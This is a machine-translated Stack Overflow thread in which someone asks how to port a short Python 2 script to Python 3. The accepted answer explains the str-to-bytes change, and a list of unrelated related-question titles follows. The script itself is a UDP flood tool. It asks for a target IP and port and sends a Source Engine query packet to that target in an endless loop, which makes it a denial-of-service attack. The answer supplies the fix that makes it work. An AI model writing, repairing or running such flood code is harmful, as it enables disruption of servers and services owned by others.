python - 类型错误 : 'str' does not support the buffer interface 4

标签 python python-3.x buffer

这是用 Python 2.x 编写的代码,我想让它在 Python 3.x 中运行。

这条线在 Python 3.x 中工作会是什么样子?

while True:
    sock.sendto(bytes,(ip,port))

注意:我今天之前从未使用过 Python,所以如果这对你来说是一个愚蠢的问题,请不要向我开枪。

<小时/>

这是完整的代码,在 Python 3 中工作应该是什么样的?

import socket, sys

sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'

ip = input("Target IP: ")
port = input("Target Port: ")

print ("Exit the program to stop the flood")

while True:
    sock.sendto(bytes,(ip,port))

最佳答案

该代码与 Python 3 中的代码完全相同。

不同之处在于,str 类型在 Python 3 中表示 Unicode 字符串。str 在 Python 2 中是字节字符串。

字节转换为字节,例如s.encode(encoding)。同时重命名 bytes 以避免与内置名称 bytes 混淆。

关于python - 类型错误 : 'str' does not support the buffer interface 4,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13703458/

相关文章:

python - SecureAuth 原因 - ShareplumRequestError : Shareplum HTTP Post Failed : 403 Client Error: Forbidden for url

python - 从字典中获取值到集合中的最有效方法

python - 从存在属性的对象列表中收集属性

python - 在 Python3 Mockserver 中添加 https 重定向

python - 我应该在抽象方法的主体中放什么?

python - 通过 Simple-Salesforce 批量插入时间字段

python-3.x - For循环/错误: object of type 'NoneType' has no len()

c# - 在 .Net/C# 中播放音频

vim - MacVim : share named registers across windows?

mysql - Zabbix - 缓冲池利用率太低